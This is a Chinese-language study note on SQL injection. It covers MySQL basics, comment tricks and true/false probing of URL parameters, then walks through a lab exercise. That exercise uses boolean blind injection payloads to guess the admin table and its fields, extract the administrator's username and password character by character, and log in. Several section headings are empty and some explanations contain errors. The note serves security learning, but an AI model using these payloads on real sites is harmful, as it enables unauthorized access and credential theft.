sql注入基础学习

1.常用SQL语句

01、显示数据库 show databases；

02、打开数据库 use db name；

03、显示数据表 show tables；

04、显示表结构 describe table_name；

05、显示表中各字段信息，即表结构 show columns from table_name；

06、显示表创建过程 show create table表名；

07、列出当前mysql的相关状态信息 status；

08、删除数据库 drop database 数据库名；

09、清空数据表 delete from table_name；truncate table table_name；

10、删除数据表 drop table table name

11、数据库连接 mysql-uroot-proot

12、数据库退出exit

limit 控制输出：limit 0,1

0：表示输出第一行

1：表示取一条数据

2. MySQL注释符

1.注释符可以替换空格

2.内联注入：/*!/*!*/

/**/在mysql中是多行注释但是如果里面加了

那么后面的内容会被执行

3.单行注释符后面加换行也是可以执行的

/**/

#

--

3.SQL注入常用函数

length（'name）：函数返回字符串的长度

substr'name',1,1）：函数截取字符串

asci（’a’）：函数返回字符的asci码

left（name，2）：函数返回name的左边二个字符

right（name，2）：函数返回name的右边二个字符

information_schema数据库

SQL注入原理

sql注入常见流程

1|1数字型判断##

当输入的参 x 为整型时，通常 abc.php 中 Sql 语句类型大致如下：

select * from <表名> where id = x

这种类型可以使用经典的 and 1=1 和 and 1=2 来判断：

Url 地址中输入 www.xxx.com/abc.php?id= x and 1=1

页面依旧运行正常，继续进行下一步。

Url 地址中继续输入 www.xxx.com/abc.php?id= x and 1=2

页面运行错误，则说明此 Sql 注入为数字型注入。

1|2字符型判断##

当输入的参 x 为字符型时，通常 abc.php 中 SQL 语句类型大致如下

select * from <表名> where id = 'x'

这种类型我们同样可以使用 and '1'='1 和 and '1'='2来判断：

Url 地址中输入 www.xxx.com/abc.php?id= x' and '1'='1

页面运行正常，继续进行下一步。

Url 地址中继续输入 www.xxx.com/abc.php?id= x' and '1'='2

页面运行错误，则说明此 Sql 注入为字符型注入。

原因如下：

当输入 and '1'='1时，后台执行 Sql 语句：

select * from <表名> where id = 'x' and '1'='1'

语法正确，逻辑判断正确，所以返回正确。

当输入 and '1'='2时，后台执行 Sql 语句：

select * from <表名> where id = 'x' and '1'='2'

语法正确，但逻辑判断错误，所以返回正确。

sql注入演示（步骤有所省略）

4、获取显示位

5．将显示位替换为要查询的函数

7、获取所有数据库

8、获取数据表

9、获取表中字段

10.获取数据

堆叠注入

宽字节注入

字符转换

宽字节注入过程

报错注入

盲注

布尔盲注

布尔盲注利用

延时盲注函数

1.Oracle手工盲注

实验步骤一

1.首先我们判断一下有没有注入点，在公司新闻下打开一个新闻链接

2.网址后加and 1=1返回正常

3.加and 1=2返回错误，说明存在注入漏洞。

4.判断一下数据库中的表，网址后加上：and (select count(*) from admin) <>0返回正常，说明存在admin表。如果返回错误，可将admin改为username、manager等常用表名继续猜解。

5.判断下该网站下有几个管理员，如果有多个的话，成功入侵的几率就会加大

and (select count(*) from admin)=1，返回正常说明只有一个管理员。

6.已知表的前提下，判断表中字段结构

and (select count(name) from admin)>=0返回正常，说明存在name字段

and (select count(pass) from admin)>=0返回错误，说明不存在pass字段

经过猜测，存在pwd字段

实验步骤二

7.接下来采用ASCII码折半法猜解管理员帐号和密码

判断管理员帐号的长度

and (select count(*) from admin where length(name)>=5)=1

说明：length()函数用于求字符串的长度，此处猜测用户名的长度和5比较，即猜测是否由5个字符组成

8.and (select count(*) from admin where ascii(substr(name,1,1))>=97)=1

说明：substr()函数用于截取字符串，ascii()函数用于获取字符的ascii码，此处的意思是截取name字段的第一个字符，获取它的ascii码值，查询ascii码表可知97为字符a

and (select count(*) from admin where ascii(substr(name,2,1))>=100)=1 结果为100，即字符d，重复上述过程，可以判断出帐号为admin

9.相同方法猜解密码

and (select count(*) from admin where length(pwd)>=8)=1，返回正常，即密码长度为8，此时可以判断密码应该为明文

and (select count(*) from admin where ascii(substr(pwd,1,1))>=97)=1，返回正常，为字符a

and (select count(*) from admin where ascii(substr(pwd,2,1))>=100)=1，返回正常，为字符d

......重复操作......

and (select count(*) from admin where ascii(substr(pwd,8,1))>=56)=1，返回正常，为数字8

完成上述操作可以确定帐号为：admin密码为:admin888

打开 http://10.1.1.59/login.jsp，输入猜解出的用户名和密码

提示登录成功